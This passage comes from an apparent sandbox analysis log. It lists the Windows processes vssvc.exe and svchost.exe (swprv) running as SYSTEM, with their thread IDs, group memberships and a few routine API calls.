0x180 Thread: id = 23 os_tid = 0x53c Thread: id = 24 os_tid = 0x604 Process: id = "5" image_name = "vssvc.exe" filename = "c:\\windows\\system32\\vssvc.exe" page_root = "0x41a29000" os_pid = "0x2c4" os_integrity_level = "0x4000" os_privileges = "0xe60b7e890" monitor_reason = "rpc_server" parent_id = "4" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\vssvc.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\VSS" [0xe], "NT AUTHORITY\\Logon Session 00000000:00058dbe" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 26 os_tid = 0x7c4 Thread: id = 27 os_tid = 0x7d0 Thread: id = 28 os_tid = 0x48c Thread: id = 29 os_tid = 0x7f4 [0072.960] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xdad980 | out: lpSystemTimeAsFileTime=0xdad980*(dwLowDateTime=0x21a1b2f0, dwHighDateTime=0x1d60459)) [0072.960] GetCurrentProcessId () returned 0x2c4 [0072.960] GetCurrentThreadId () returned 0x7f4 [0072.960] GetTickCount () returned 0x11478e8 [0072.960] QueryPerformanceCounter (in: lpPerformanceCount=0xdad988 | out: lpPerformanceCount=0xdad988*=19291683330) returned 1 [0072.960] malloc (_Size=0x100) returned 0x118e80 Thread: id = 30 os_tid = 0x410 Thread: id = 31 os_tid = 0x5d4 Thread: id = 32 os_tid = 0x244 Thread: id = 33 os_tid = 0x6f4 Thread: id = 40 os_tid = 0x9ac Thread: id = 41 os_tid = 0xb24 Process: id = "6" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x4132f000" os_pid = "0x3b4" os_integrity_level = "0x4000" os_privileges = "0x60814080" monitor_reason = "rpc_server" parent_id = "5" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\System32\\svchost.exe -k swprv" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\swprv" [0xe], "NT AUTHORITY\\Logon Session 00000000:00059c28" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 34 os_tid = 0x85c Thread: id = 35 os_tid = 0x704 Thread: id = 36 os_tid = 0x248 Thread: id = 37 os_tid = 0x6ec Thread: id = 38 os_tid = 0x6a8 Thread: id = 39 os_tid = 0x32c Thread: id = 42 os_tid = 0xb04